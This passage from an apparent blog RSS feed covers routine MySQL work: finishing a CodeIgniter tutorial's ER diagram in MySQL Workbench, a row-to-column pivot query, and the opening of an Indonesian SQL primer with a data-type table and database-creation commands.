<h2>The Finished ER Diagram</h2>
<p>After you have created all the tables and relations as specified above, here is the completed ER diagram will looks like:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/ThecompletedERD.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="The completed ERD" border="0" alt="The completed ERD" src="http://www.dijexi.com/wp-content/uploads/2009/08/ThecompletedERD_thumb.png" width="520" height="422" /></a></p>
<p>And here is the diagram <a href="http://www.dijexi.com/wp-content/uploads/2009/08/erd-cashbank1.zip" target="_blank">MWB file for you to download</a>.</p>
<p>&#160;</p>
<h2>Creating the Database into MySQL Server</h2>
<p>After finishing the design of the ERD we need to create the database structure directly into MySQL server. To do this first we need to define the database server connection. Click on the menu Database – Manage Connections… You will see a dialog like this:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/MWBcreateconnection.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MWB create connection" border="0" alt="MWB create connection" src="http://www.dijexi.com/wp-content/uploads/2009/08/MWBcreateconnection_thumb.png" width="504" height="316" /></a> </p>
<p>Click on New button and enter the Connection Name for example localhost, the Database System of MySQL, and the Driver of MySQL Native Driver. On the Parameters pane, enter your hostname or IP address on the Hostname field, Port number which is default to 3306, the Username and Password which match to your MySQL server configuration.</p>
<p>You may optionally click on Test Connection to make sure that the connection to the database server was successful. Click Close button.</p>
<p>To generate the database structure first we need to define the database name to be created. Click on the MySQL Model tab on the main page of MySQL Workbench. Then double click on mydb tab under Physical Schemata section. Look under the mydb property pane. Change the Name to the database name to be created, for example acctdb.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/MWBdefinethedatabasename.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MWB define the database name" border="0" alt="MWB define the database name" src="http://www.dijexi.com/wp-content/uploads/2009/08/MWBdefinethedatabasename_thumb.png" width="400" height="715" /></a> </p>
<p>Don’t forget to click on Save Current Model icon to save our diagram.</p>
<p>Next, click on the menu Database – Forward Engineer.. to begin creating the database structure. A dialog box will appear:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep1.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MWB forward engineer step 1" border="0" alt="MWB forward engineer step 1" src="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep1_thumb.png" width="504" height="391" /></a> </p>
<p>Click Run Validations to make sure that the table definitions and relationship in our diagram was all correct. Then click on Next button. The next dialog box will appear:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep2.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MWB forward engineer step 2" border="0" alt="MWB forward engineer step 2" src="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep2_thumb.png" width="504" height="392" /></a>&#160; </p>
<p>On that dialog, you specify the options for creating the database. The first options is to drop objects before each CREATE Object, and the second is to generate separate CREATE INDEX statements. Then click on Next button. The next dialog box will appear:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep3.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MWB forward engineer step 3" border="0" alt="MWB forward engineer step 3" src="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep3_thumb.png" width="504" height="389" /></a> </p>
<p>This time we select which objects in our diagram that will be generated on the MySQL database. Select all tables. Then click on Next button. The next dialog box will appear:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep4.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MWB forward engineer step 4" border="0" alt="MWB forward engineer step 4" src="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep4_thumb.png" width="504" height="392" /></a>&#160;
</p>
<p>Here we can review the SQL statements to be executed to the MySQL Server. As you can see, the SQL statement was generated based on the diagram that was created before in the design. This including the database, tables, fields, index, and the relations between the tables. Then click on Next button. The next dialog box will appear:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep5.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MWB forward engineer step 5" border="0" alt="MWB forward engineer step 5" src="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep5_thumb.png" width="504" height="306" /></a> </p>
<p>Here we must choose the database connection that we have defined before. If there’s a change on the hostname, username and password, you still can do it here by modifying it on the appropriate field. Then click on Execute button to execute the SQL statement on the server. The next dialog box will appear:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep6.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="MWB forward engineer step 6" border="0" alt="MWB forward engineer step 6" src="http://www.dijexi.com/wp-content/uploads/2009/08/MWBforwardengineerstep6_thumb.png" width="504" height="306" /></a> </p>
<p>The execution is now complete. It means that the database is created on the server with the tables and relations as defined in our diagram. You may check that on any MySQL front end program like phpMyAdmin, Navicat MySQL, and any other programs. Here is the snapshot of the database structure as viewed with Navicat MySQL program:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/ThedatabaseissuccessfullycreatedinMySQLserver.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="The database is successfully created in MySQL server" border="0" alt="The database is successfully created in MySQL server" src="http://www.dijexi.com/wp-content/uploads/2009/08/ThedatabaseissuccessfullycreatedinMySQLserver_thumb.png" width="504" height="306" /></a> </p>
<p>&#160;</p>
</p>
</p>
<p>In this part, we have discussed the database design for our application. We have drawn the entity relationship diagram (ERD) using a free tool called <a href="http://dev.mysql.com/downloads/workbench/5.1.html">MySQL workbench</a>. Also we have created our database structure directly to a MySQL server that can be used by our application. You may download the diagram <a href="http://www.dijexi.com/wp-content/uploads/2009/08/erd-cashbank1.zip" target="_blank">MWB file here</a>.</p>
<p>In the next article, we are ready to begin the coding of the application.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:257932c8-f2ab-4ad1-a4e5-cc5e998998b6" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/CodeIgniter+tutorial" rel="tag">CodeIgniter tutorial</a>,<a href="http://technorati.com/tags/php+tutorial" rel="tag">php tutorial</a>,<a href="http://technorati.com/tags/accounting+system" rel="tag">accounting system</a>,<a href="http://technorati.com/tags/UML" rel="tag">UML</a>,<a href="http://technorati.com/tags/ERD" rel="tag">ERD</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/07/codeigniter-tutorial-creating-accounting-application-part-1-setting-up-the-environment/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 1 Setting Up the Environment</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 2 The Application Specification and UML Diagrams</a></li><li><a href="http://www.dijexi.com/2009/09/codeigniter-tutorial-creating-accounting-application-part-4-preparing-to-code/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 4 Preparing to Code</a></li><li><a href="http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 5 The Mainpage</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F08%2Fcodeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database%2F&amp;linkname=CodeIgniter%20Tutorial%3A%20%5BCreating%20Accounting%20Application%5D%20Part%203%20ER%20Diagram%20and%20Creating%20Database"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>MySQL Transpose Row Into Column</title>
		<link>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/</link>
		<comments>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 07:27:30 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[query]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/</guid>
		<description><![CDATA[Image via CrunchBase This article explain how to transpose a MySQL table from row to column. Suppose that you have a sales table per item per retail outlet per sales date like this: Then, you need to show the total sales per item per retail outlet like the following: For that case, you need to [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><div style="margin: 1em; width: 210px; display: block; float: right" class="zemanta-img" jquery1247210853125="116"><a href="http://www.crunchbase.com/company/mysql"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" alt="Image representing MySQL as depicted in CrunchBase" src="http://www.crunchbase.com/assets/images/resized/0000/1681/1681v1-max-450x450.png" width="200" height="104" /></a>
<p style="font-size: 0.8em" class="zemanta-img-attribution">Image via <a href="http://www.crunchbase.com/">CrunchBase</a></p>
</p></div>
<p>This article explain how to <a class="zem_slink" title="Transpose" href="http://en.wikipedia.org/wiki/Transpose" rel="wikipedia">transpose</a> a <a class="zem_slink" title="MySQL" href="http://www.mysql.com/" rel="homepage">MySQL</a> table from row to column. Suppose that you have a sales table per item per retail outlet per sales date like this:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/image3.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Original Sales Table" border="0" alt="Original Sales Table" src="http://www.dijexi.com/wp-content/uploads/2009/07/image_thumb3.png" width="504" height="165" /></a> </p>
<p>Then, you need to show the total sales per item per retail outlet like the following:</p>
<p> <span id="more-673"></span>
</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/TransposedSalesData.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="The Transposed Sales Data" border="0" alt="The Transposed Sales Data" src="http://www.dijexi.com/wp-content/uploads/2009/07/TransposedSalesData_thumb.png" width="504" height="72" /></a> </p>
<p align="left">
<div style="padding-right: 20px; float: left"><iframe style="border-bottom: medium none; border-left: medium none; border-top: medium none; border-right: medium none" height="600" marginheight="0" border="0" src="http://rcm.amazon.com/e/cm?t=vitrainingcom-20&amp;o=1&amp;p=14&amp;l=st1&amp;mode=books&amp;search=mysql&amp;fc1=000000&amp;lt1=&amp;lc1=3366FF&amp;bg1=FFFFFF&amp;f=ifr" frameborder="0" width="160" marginwidth="0" scrolling="no"></iframe></div>
<p> <!-- Adsense End -->
</p>
<p>For that case, you need to transpose the original table into the second table. Unfortunately, MySQL does not support a function for transposing row into column of a table, so we need to create a query to do so.</p>
<p>For the example above, we need a query like the following:</p>
<p>SELECT ITEM_CODE,    <br />SUM(IF(RETAIL_ID=&#8217;A',SALES,0)) AS &#8216;A&#8217;,     <br />SUM(IF(RETAIL_ID=&#8217;B',SALES,0)) AS &#8216;B&#8217;,     <br />SUM(IF(RETAIL_ID=&#8217;C',SALES,0)) AS &#8216;C&#8217;     <br />FROM RETAIL_INFO     <br />GROUP BY ITEM_CODE </p>
<p>The query above will sum the total sales for each retail outlet ID grouped by item code and shows the result on it’s own column. If you have many retail outlets, then you must create the column for each of them.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:2c6b2561-8dc7-459c-a5d8-14f6389ec0b2" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/mysql" rel="tag">mysql</a>,<a href="http://technorati.com/tags/query" rel="tag">query</a>,<a href="http://technorati.com/tags/transpose" rel="tag">transpose</a></div>
</p>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com/">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a>     <br /><a href="http://ligarwangi.com/">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<p>&#160;</p>
</p>
</p>
<div class="zemanta-related">
<h6 style="font-size: 1em" class="zemanta-related-title">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://blogs.securiteam.com/index.php/archives/1294">Mysql authentication bypass </a>(blogs.securiteam.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.mysqlperformanceblog.com/2009/04/19/talking-mysql-to-sphinx/">Talking MySQL to Sphinx </a>(mysqlperformanceblog.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.mysqlperformanceblog.com/2009/06/05/a-rule-of-thumb-for-choosing-column-order-in-indexes/">A rule of thumb for choosing column order in indexes </a>(mysqlperformanceblog.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.mysqlperformanceblog.com/2009/05/21/mass-killing-of-mysql-connections/">Mass killing of MySQL Connections </a>(mysqlperformanceblog.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.mysqlperformanceblog.com/2009/07/07/improving-innodb-recovery-time/">Improving InnoDB recovery time </a>(mysqlperformanceblog.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.xaprb.com/blog/2009/04/01/how-mysql-really-executes-a-query/">How MySQL really executes a query</a> (xaprb.com) </li>
</ul></div>
</p>
</p>
</p>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/48ab9ab9-29be-40f8-b40c-123a9d04103f/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=48ab9ab9-29be-40f8-b40c-123a9d04103f" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 3 ER Diagram and Creating Database</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/" rel="bookmark">Restore MySQL database, stored procedure missing ?</a></li><li><a href="http://www.dijexi.com/2009/06/portable-apache-mysql-php/" rel="bookmark">Portable Apache, MySQL, PHP</a></li><li><a href="http://www.dijexi.com/2010/01/adempiere-how-to-import-report-line-set-for-balance-sheet/" rel="bookmark">Adempiere &ndash; How to Import Report Line Set for Balance Sheet</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fmysql-transpose-row-into-column%2F&amp;linkname=MySQL%20Transpose%20Row%20Into%20Column"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/mysql-transpose-row-into-column/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Menguasai Structured Query Language (SQL)</title>
		<link>http://www.dijexi.com/2009/07/menguasai-structured-query-language-sql/</link>
		<comments>http://www.dijexi.com/2009/07/menguasai-structured-query-language-sql/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 03:21:33 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[sql command]]></category>
		<category><![CDATA[sql statements]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/menguasai-structured-query-language-sql/</guid>
		<description><![CDATA[Image by lilit via Flickr Database, tabel, baris, dan kolom Dalam konteks bahasa SQL, pada umumnya informasi tersimpan dalam tabel-tabel yang secara logik merupakan struktur 2 dimensi yang terdiri dari baris-baris data (row atau record) yang berada dalam satu atau lebih kolom (column). Baris pada tabel sering disebut sebagai instance dari data sedangkan kolom sering [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><div class="zemanta-img" style="margin: 1em; width: 250px; display: block; float: right;"><a href="http://www.flickr.com/photos/29492436@N00/63853597"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" src="http://farm1.static.flickr.com/28/63853597_80e3a3566c_m.jpg" alt="(My)SQL geek" width="240" height="180" /></a></p>
<p class="zemanta-img-attribution" style="font-size: 0.8em">Image by <a href="http://www.flickr.com/photos/29492436@N00/63853597">lilit</a> via Flickr</p>
</div>
<h2><a name="_Toc466784032">Database, tabel, baris, dan kolom</a></h2>
<p>Dalam konteks bahasa <a class="zem_slink" title="SQL" rel="wikipedia" href="http://en.wikipedia.org/wiki/SQL">SQL</a>, pada umumnya informasi tersimpan dalam tabel-tabel yang secara logik merupakan struktur 2 dimensi yang terdiri dari baris-baris data (row atau record) yang berada dalam satu atau lebih kolom (column). Baris pada tabel sering disebut sebagai instance dari data sedangkan kolom sering disebut sebagai attributes atau field.<span id="more-561"></span></p>
<p>Keseluruhan tabel-tabel itu dihimpun dalam satu kesatuan yang disebut database.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image002.gif"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Gambar 1 Database, tabel, kolom, dan baris" src="http://www.dijexi.com/wp-content/uploads/2009/07/clip_image002_thumb.gif" border="0" alt="Gambar 1 Database, tabel, kolom, dan baris" width="500" height="262" /></a></p>
<p>Gambar 1 Database, tabel, kolom, dan baris</p>
<p><!--more--></p>
<h2><a name="_Toc466784033">Type data pada MySQL</a></h2>
<p>Berikut ini tabel <a class="zem_slink" title="Data type" rel="wikipedia" href="http://en.wikipedia.org/wiki/Data_type">data type</a> yang dapat digunakan untuk field-field tabel pada database MySQL.</p>
<p>Tabel 1 Type <a class="zem_slink" title="Data field" rel="wikipedia" href="http://en.wikipedia.org/wiki/Data_field">data field</a> pada MySQL</p>
<table border="1" cellspacing="0" cellpadding="0" width="500">
<tbody>
<tr>
<td width="170" valign="top"><strong>Name</strong></td>
<td width="232" valign="top"><strong>Keterangan</strong></td>
<td width="96" valign="top"><strong>Ukuran</strong></td>
</tr>
<tr>
<td width="170" valign="top">TINYINT[(M)] [UNSIGNED] [ZEROFILL]</td>
<td width="232" valign="top">Signed range -128 – 127</p>
<p>Unsigned range 0 &#8211; 255.</td>
<td width="96" valign="top">1</td>
</tr>
<tr>
<td width="170" valign="top">SMALLINT[(M)]. [UNSIGNED] [ZEROFILL]</td>
<td width="232" valign="top">Signed range -32768 – 32767</p>
<p>Unsigned range 0 &#8211; 65535.</td>
<td width="96" valign="top">2</td>
</tr>
<tr>
<td width="170" valign="top">MEDIUMINT[(M)] [UNSIGNED] [ZEROFILL]</td>
<td width="232" valign="top">Signed range -8388608-8388607</p>
<p>Unsigned range 0 &#8211; 16777215.</td>
<td width="96" valign="top">3</td>
</tr>
<tr>
<td width="170" valign="top">INT[(M)] [UNSIGNED] [ZEROFILL]</td>
<td width="232" valign="top">Signed range -2147483648 – 2147483647</p>
<p>Unsigned range 0 &#8211; 4294967295.</td>
<td width="96" valign="top">4</td>
</tr>
<tr>
<td width="170" valign="top">BIGINT[(M)] [UNSIGNED] [ZEROFILL]</td>
<td width="232" valign="top">Signed range -9223372036854775808 – 9223372036854775807</p>
<p>Unsigned Range 0 &#8211; 18446744073709551615.</td>
<td width="96" valign="top">8</td>
</tr>
<tr>
<td width="170" valign="top">FLOAT(Precision)</td>
<td width="232" valign="top">Angka <a class="zem_slink" title="Floating point" rel="wikipedia" href="http://en.wikipedia.org/wiki/Floating_point">floating point</a>. Presisi boleh 4 atau 8. FLOAT(4) adalah <a class="zem_slink" title="Single precision" rel="wikipedia" href="http://en.wikipedia.org/wiki/Single_precision">single precision</a> dan FLOAT(8) adalah <a class="zem_slink" title="Double precision" rel="wikipedia" href="http://en.wikipedia.org/wiki/Double_precision">double precision</a> (lihat juga DOUBLE).</p>
<p>Range -3.402823466E+38F &#8211; -1.175494351E-38, 0, -1.175494351E-38 &#8211; 3.402823466E+38F.</td>
<td width="96" valign="top">4</td>
</tr>
<tr>
<td width="170" valign="top">FLOAT[(M,D)]</td>
<td width="232" valign="top">Angka floating point kecil. Tidak boleh unsigned.</p>
<p>Range -3.402823466E+38F &#8211; -1.175494351E-38, 0, -1.175494351E-38 &#8211; 3.402823466E+38F.</td>
<td width="96" valign="top">4</td>
</tr>
<tr>
<td width="170" valign="top">DOUBLE PRECISION[(M,D)]</td>
<td width="232" valign="top">Angka floating point normal. Tidak boleh unsigned.</p>
<p>Range -1.7976931348623157E+308 &#8211; -2.2250738585072014E-308, 0, 2.2250738585072014E-308 &#8211; 1.7976931348623157E+308.</td>
<td width="96" valign="top">8</td>
</tr>
<tr>
<td width="170" valign="top">REAL[(M,D)]</td>
<td width="232" valign="top">Sama seperti DOUBLE</td>
<td width="96" valign="top">8</td>
</tr>
<tr>
<td width="170" valign="top">DECIMAL [(M,D)]</td>
<td width="232" valign="top">Angka unpacked floating point. Tidak boleh unsigned. Range sama seperti DOUBLE.</p>
<p>Berkelakuan seperti CHAR</td>
<td width="96" valign="top">M+D</td>
</tr>
<tr>
<td width="170" valign="top">NUMERIC [(M,D)]</td>
<td width="232" valign="top">Sama seperti DECIMAL</td>
<td width="96" valign="top">M+D</td>
</tr>
<tr>
<td width="170" valign="top">TIMESTAMP [(M)]</td>
<td width="232" valign="top">Timestamp otomatis. Berisi waktu pada saat tabel diakses, dalam <a class="zem_slink" title="Unix time" rel="wikipedia" href="http://en.wikipedia.org/wiki/Unix_time">UNIX time</a>.</td>
<td width="96" valign="top">4</td>
</tr>
<tr>
<td width="170" valign="top">DATE</td>
<td width="232" valign="top">Untuk menyimpan informasi tanggal.</p>
<p>Format : &#8216;YY-MM-DD&#8217;, &#8216;<a class="zem_slink" title="ISO 8601" rel="wikipedia" href="http://en.wikipedia.org/wiki/ISO_8601">YYYY-MM-DD</a>&#8216;, dan &#8216;YYMMDD&#8217;.</p>
<p>Range 0000-00-00 to 9999-12-31.</td>
<td width="96" valign="top">4</td>
</tr>
<tr>
<td width="170" valign="top">TIME</td>
<td width="232" valign="top">Untuk menyimpan informasi waktu</p>
<p>Format : &#8216;HH:MM:SS, &#8216;HHMMSS&#8217;, &#8216;HHMM&#8217;, &#8216;HH&#8217;.</td>
<td width="96" valign="top">3</td>
</tr>
<tr>
<td width="170" valign="top">DATETIME</td>
<td width="232" valign="top">Untuk menyimpan informasi tanggal dan waktu.</p>
<p>Format &#8220;YYYY-MM-DD HH:MM:SS&#8221;.</p>
<p>Range &#8217;0000-01-01 00:00:00&#8242; &#8211; &#8217;9999-12-31 23:59:59&#8242;.</td>
<td width="96" valign="top">8</td>
</tr>
<tr>
<td width="170" valign="top">CHAR(M) [binary]</td>
<td width="232" valign="top">String dengan panjang tetap, selalu tersimpan sesuai dengan panjang yang ditentukan.</p>
<p>Range 1 &#8211; 255 characters.</p>
<p>Seluruh space akhiran dibuang saat di-retriev.</p>
<p>Di-sortir dan dibandingkan secara case insensitive kecuali jika diberikan binary keyword.</td>
<td width="96" valign="top">M</td>
</tr>
<tr>
<td width="170" valign="top">VARCHAR(M) [binary]</td>
<td width="232" valign="top">String dengan panjang variabel, tersimpan sesuai dengan panjangnya saat itu.</p>
<p>Range 1 &#8211; 255 characters.</p>
<p>Seluruh space akhiran dibuang saat di-retriev.</p>
<p>Di-sortir dan dibandingkan secara case insensitive kecuali jika diberikan binary keyword.</td>
<td width="96" valign="top">L+1</td>
</tr>
<tr>
<td width="170" valign="top">TINYTEXT and TINYBLOB</td>
<td width="232" valign="top">TEXT/BLOB dengan panjang maksimum 255 karakter.</td>
<td width="96" valign="top">L+1</td>
</tr>
<tr>
<td width="170" valign="top">TEXT and BLOB</td>
<td width="232" valign="top">TEXT/BLOB dengan panjang maksimum 65535 karakter.</td>
<td width="96" valign="top">L+2</td>
</tr>
<tr>
<td width="170" valign="top">MEDIUMTEXT and MEDIUMBLOB</td>
<td width="232" valign="top">TEXT/BLOB dengan panjang maksimum 16777216 karakter.</td>
<td width="96" valign="top">L+3</td>
</tr>
<tr>
<td width="170" valign="top">LONGTEXT and LONGBLOB</td>
<td width="232" valign="top">TEXT/BLOB dengan panjang maksimum 4294967295 karakter.</td>
<td width="96" valign="top">L+4</td>
</tr>
<tr>
<td width="170" valign="top">ENUM(&#8216;value&#8217;,'value2&#8242;,&#8230;)</td>
<td width="232" valign="top">Objeck string yang hanya boleh memiliki satu nilai dari nilai yang dimungkinkan (atau NULL).</td>
<td width="96" valign="top">1 or 2</td>
</tr>
<tr>
<td width="170" valign="top">SET(&#8216;value&#8217;,'value2&#8242;,&#8230;)</td>
<td width="232" valign="top">Objeck string yang boleh memiliki lebih dari satu nilai dari nilai yang dimungkinkan (atau NULL).</td>
<td width="96" valign="top">1-8</td>
</tr>
</tbody>
</table>
<h2><a name="_Toc466784034">Membuat database</a></h2>
<p>Pada modul ini kita akan membuat database dengan nama <strong>shopping</strong> yang terdiri dari tabel-tabel:</p>
<ul>
<li><strong>publishers</strong> , berisi daftar nama penerbit buku</li>
<li><strong>titles</strong>, berisi daftar judul buku</li>
</ul>
<p>Gunakan perintah di bawah ini untuk membuat database pada MySQL server.</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"># mysqladmin create &lt;nama-database&gt;</pre>
</pre>
<p>Contohnya</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"># mysqladmin create shopping</pre>
</pre>
<p>Database &#8220;shopping&#8221; created.</p>
<h2><a name="_Toc466784035">Membuat tabel</a></h2>
<p>Setelah database terbuat, anda harus membuat tabel yang akan menyimpan data yang anda butuhkan. Sebagai contoh kita akan membuat tabel daftar penerbit buku (<strong>publishers</strong>). Tabel ini berisi field-field sebagai berikut:</p>
<p>Tabel 2 Struktur tabel publishers</p>
<table border="1" cellspacing="0" cellpadding="0" width="500">
<tbody>
<tr>
<td width="116" valign="top"><strong>Field</strong></td>
<td width="90" valign="top"><strong>Type</strong></td>
<td width="102" valign="top"><strong>Panjang</strong></td>
<td width="190" valign="top"><strong>Keterangan</strong></td>
</tr>
<tr>
<td width="116" valign="top">pub_id</td>
<td width="90" valign="top">char</td>
<td width="102" valign="top">3</td>
<td width="190" valign="top">berisi nomor identifikasi penerbit, primary key tabel ini</td>
</tr>
<tr>
<td width="116" valign="top">pub_name</td>
<td width="90" valign="top">char</td>
<td width="102" valign="top">20</td>
<td width="190" valign="top">berisi nama penerbit</td>
</tr>
<tr>
<td width="116" valign="top">city</td>
<td width="90" valign="top">char</td>
<td width="102" valign="top">10</td>
<td width="190" valign="top">berisi nama kota tempat penerbit berada</td>
</tr>
<tr>
<td width="116" valign="top">state</td>
<td width="97" valign="top">char</td>
<td width="118" valign="top">10</td>
<td width="250" valign="top">nama provinsi tempat penerbit berada</td>
</tr>
</tbody>
</table>
<p>Gunakan perintah <strong>mysql</strong> &lt;nama-database&gt; untuk membuat tabel yang dimaksud di atas.</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"># mysql shopping</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">Welcome to the MySQL monitor. Commands end with ; or \g.</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">Your MySQL connection id is 403 to server version: 3.22.10-beta</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">Type 'help' <span style="color: #0000ff">for</span> help.</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">mysql&gt;</pre>
</pre>
